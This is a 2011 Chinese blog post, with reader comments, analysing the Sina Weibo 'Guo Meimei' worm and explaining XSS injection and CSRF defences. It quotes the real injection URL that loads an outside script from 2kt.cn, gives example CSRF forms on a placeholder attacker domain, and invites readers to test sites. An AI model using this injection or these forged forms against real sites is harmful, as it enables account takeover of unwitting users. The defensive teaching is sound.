wuvist

Web安全,以新浪微博“郭美美”蠕虫为例

昨晚(2011/06/28)新浪微博也出现“黑客”攻击蛮有代表性;网站上流行的XSS( Cross-Site-Script) / XSRF ( Cross-site request forgery ) 往往是被web开发者忽视的,这里记述一下相关的事情。

先说新浪微博。

昨天的攻击情况介绍可以参考:
  * http://soft.yesky.com/security/156/30179156.shtml

昨晚的攻击漏洞根源其实很傻,被用于攻击的URL(当然这个URL现在不工作了)是:
  * http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

很显然,/pub/star/g/ 后面的字符串会被新浪内部write过,变成类似:
  * http://weibo.com/pub/star.php?g=xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

的玩意,然后star.php竟然会把querystring中g的值直接显示到页面中,相当于 weibo.com 在自己的页面中嵌入了一个来自于 2kt.cn的js脚本。

这种是相当低级的注入攻击,有做web开发经验的同学都应该懂;应该说,新浪微博遭遇的这次攻击的根源还跟XSS / XSRF 这些“高级”玩意完全没有关系。

weibo.com的页面被嵌入第三方js之后,这个js做的就是 XSRF去完成各种发推/关注/私信的操作,但从安全的角度看,这些我认为已经不重要了,这次的攻击根源仅是最低级的页面注入。

要避免这样的问题,在页面模板中,所有的变量输出,默认都应该做 HTML encode:

  <%=Request.QueryString["qry"] %>

默认就应该对输出的值做html encode,相当于:

  <%=HttpUtil.HtmlEncode(Request.QueryString["qry"]) %>

目前新web框架的模板引擎基本默认都会对变量页面输出做html encode;这样注入的问题都会被避免。

以Razor为例:
<div>
@Model.UserName
</div>

默认相当于:
<div>
<%=UttpUtil.HtmlEncode(Model.UserName) %>
</div>

至于连模板都没有用,直接拼接字符串输出html的做法,就彻底无语了。

====== XSRF / XSS ======
这样的攻击方式才相对“新颖”一些。

===== HTTP Get =====
假设网站存在可能导致用户数据改变的接口,如:
  * http://dummydomain.com/update_nick.aspx?nick=Stupid

那么,第三方网站可以直接将上述URL作为一个img标签的src,使得用户在访问的时候自动去获取此页面,造成昵称被改。

这里的问题根源是接口定义违反了HTTP的推荐设计。

一切HTTP Get操作,都不应该涉及用户数据的修改;必须强制使用为POST,以避免数据被无意/恶意修改。

===== HTTP Post =====
假设修改昵称的接口变成:
  * http://dummydomain.com/update_nick.aspx

用户必须通过form提交才可能可以修改数据,比方说:
<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="text" name="nick" value="" />
<input type="submit" />
</form>
</code>
这样的设计实际上也还是会有问题的,比方说,攻击者可以在 http://attackerdomain.com/clickme.html 里面写:

<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="nick" value="Stupid" />
<input type="submit" value="Click Me!!" />
</form>
</code>
用户在访问 attackerdomain.com 的时候,便有可能被误导去点击,然后造成自己在 dummydomain.com 的数据被修改。

在这样的场景下,无论接口是Get还是Post,都无济于事;这类攻击是被称为 XSRF: Cross-site request forgery。

===== XSRF =====
相比起页面注入,Web开发者对于XSRF的认识还不够;但它也是可以防范的。

首先,要确保所有的涉及数据更新的操作都是经过HTTP Post。

然后,服务器端强制要求所有 HTTP Post都必须包含一个 _XSRF 的参数;其值必须跟Cookie中的同名Cookie相同,比方说:

<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="_XSRF" value="secret_value" />
<input type="text" name="nick" value="" />
<input type="submit" />
</form>
</code>

当攻击者企图从 http://attackerdomain.com/clickme.html 页面提交资料去 http://dummydomain.com/update_nick.aspx 时,浏览器发送的是 dummydomain的 cookie;而这个cookie的值,是attacherdomain.com所无法获得的,也就是说,它无法伪造:

<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="_XSRF" value="Attacher can't know this value!" />
<input type="hidden" name="nick" value="Stupid" />
<input type="submit" value="Click Me!!" />
</form>
</code>

有安全意识,或者说,先进的web框架( Django / Tornado / RoR 等等 ),默认都强制要求POST提交必须有 XSRF 检查。

微软的技术,基本都是跟在别人后面的,目前似乎还是的开发者手动去处理,asp.net MVC 可以参考:
  * http://weblogs.asp.net/srkirkland/archive/2010/04/14/guarding-against-csrf-attacks-in-asp-net-mvc2.aspx

如果asp.net开发者没有安全意识,专门去给所有页面添加XSRF的检查,那么做出来的网站,都可能受到 XSRF 攻击。

大家有兴趣的话可以去挑各种asp.net开发的网站去试;或者说,想想自己做过的网站是否会受到此种攻击。

:)

====== Web 安全的根基 ======
Cookie / Same origin policy(简单的说,就是防止AJAX跨域)是 Web安全的根源。

而这两点,是由客户端浏览器所保证的,如果客户端实现得不好,域名A可以访问域名B的cookie值,或者说发起AJAX调用,那么所有服务器端的安全措施都是白搭。

Cookie在HTTP中是明文传输的,是可能会被中间人窃取然后伪造的;而cookie又是Web用户认证信息的根源,一旦Cookie泄露,攻击方就可以为所欲为。

所以,很多网站(比方说, twitter / gmail)默认都在强制把所有的页面传输转移去 HTTPS;以杜绝中间人的问题。

千里之堤,溃于蚁穴;根基不牢靠,上层所做的任何安全措施,都可能被攻破。

这里的关键,是要有一个可靠的根基,跟Web技术没有直接关系,Native程序也会有同样性质的问题。

posted on 2011-06-29 15:06 问天 阅读(2677) 评论(14) 编辑 收藏

评论

#1楼 2011-06-29 15:16 海南.胡勇      

强烈支持一下。  回复 引用 查看   

#2楼 2011-06-29 15:43 影子明      

问题是 他怎么将<script src=//www.2kt.cn/images/t.js></script> 嵌入到新浪微博中的  回复 引用 查看   

#3楼[楼主] 2011-06-29 15:44 问天      

@影子明
很显然,/pub/star/g/ 后面的字符串会被新浪内部write过,变成类似:
* http://weibo.com/pub/star.php?g=xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

的玩意,然后star.php竟然会把querystring中g的值直接显示到页面中,相当于 weibo.com 在自己的页面中嵌入了一个来自于 2kt.cn的js脚本。

这种是相当低级的注入攻击
 回复 引用 查看   

#4楼 2011-06-29 15:50 testzhangsan      

@问天
请问楼主,POST 提交相对来说安全一点,在服务器端验证是否是跨域 Post ,还有验证数据的正确性,比如是否为空,是否是整数等等,以及 Rmove Html 应该就可以了吧
?这样还有漏洞吗?对 XSRF 不明白!
 回复 引用 查看   

#5楼[楼主] 2011-06-29 15:56 问天      

@testzhangsan
漏洞是无穷无尽的,即便是补上了XSRF的漏洞,那也仅仅是没有XSRF的漏洞而已。

打个比方,要入侵一个公司的内网,最容易的方式可以是去泡前台MM,然后送个有木马的U盘给MM。
 回复 引用 查看   

#6楼 2011-06-29 15:56 IT鸟      

新浪微博php开发的.
function HtmlEncode($fString)
{
if($fString!="")
{
$fString = str_replace( '>', '&gt;',$fString);
$fString = str_replace( '<', '&lt;',$fString);
$fString = str_replace( chr(32), '&nbsp;',$fString);
$fString = str_replace( chr(13), ' ',$fString);
$fString = str_replace( chr(10) & chr(10), '<br>',$fString);
$fString = str_replace( chr(10), '<BR>',$fString);
}
return $fString;
}
 回复 引用 查看   

#7楼 2011-06-29 16:00 testzhangsan      

引用问天:
@testzhangsan
漏洞是无穷无尽的,即便是补上了XSRF的漏洞,那也仅仅是没有XSRF的漏洞而已。

打个比方,要入侵一个公司的内网,最容易的方式可以是去泡前台MM,然后送个有木马的U盘给MM。

有幽默精神,不错,一看就是情场老手!  回复 引用 查看   

#8楼 2011-06-29 16:55 BoyLee      

引用问天:
@testzhangsan
漏洞是无穷无尽的,即便是补上了XSRF的漏洞,那也仅仅是没有XSRF的漏洞而已。

打个比方,要入侵一个公司的内网,最容易的方式可以是去泡前台MM,然后送个有木马的U盘给MM。

哈哈,社会工程学学的很好。  回复 引用 查看   

#9楼 2011-06-29 20:01 徐少侠      

引用testzhangsan:
引用问天:
@testzhangsan
漏洞是无穷无尽的,即便是补上了XSRF的漏洞,那也仅仅是没有XSRF的漏洞而已。

打个比方,要入侵一个公司的内网,最容易的方式可以是去泡前台MM,然后送个有木马的U盘给MM。

有幽默精神,不错,一看就是情场老手!

不过所谓黑客,只知道用计算机的绝对不是超一流黑客。
而会泡MM的才是。
 回复 引用 查看   

#10楼 2011-06-30 08:54 随处走走      

"当攻击者企图从 http://attackerdomain.com/clickme.html 页面提交资料去 http://dummydomain.com/update_nick.aspx 时,浏览器发送的是 dummydomain的 cookie;而这个cookie的值,是attacherdomain.com所无法获得的,也就是说,它无法伪造"

这个楼主能解释一下么, 如果用hidden, 攻击者不是可以查看源代码看到么?
 回复 引用 查看   

#11楼 2011-06-30 09:44 持刀女      

谢谢楼主给我讲解了许多我还不了解的东西。。非常有用。  回复 引用 查看   

#12楼 2011-06-30 14:36 清流鱼      

没看明白,还得再看一遍!  回复 引用 查看   

#13楼 2011-06-30 17:24 倪浩      

@随处走走
<input type="hidden" name="_XSRF" value="Attacher can't know this value!" />,这个虽然是hidden,但它的值应该是随机的,每个用户的不一样。攻击者也不可能实时获取这个值
 回复 引用 查看   

#14楼 2011-06-30 17:25 岁月w      

不是很明白啥意思,,,感觉不明白就是,,  回复 引用 查看   

<2012年2月>
2930311234
567891011
12131415161718
19202122232425
26272829123
45678910

导航

统计

公告

昵称:问天
园龄:7年5个月
粉丝:13
关注:0

搜索

 
 

常用链接

我的标签

随笔档案

积分与排名

最新评论

阅读排行榜

评论排行榜

推荐排行榜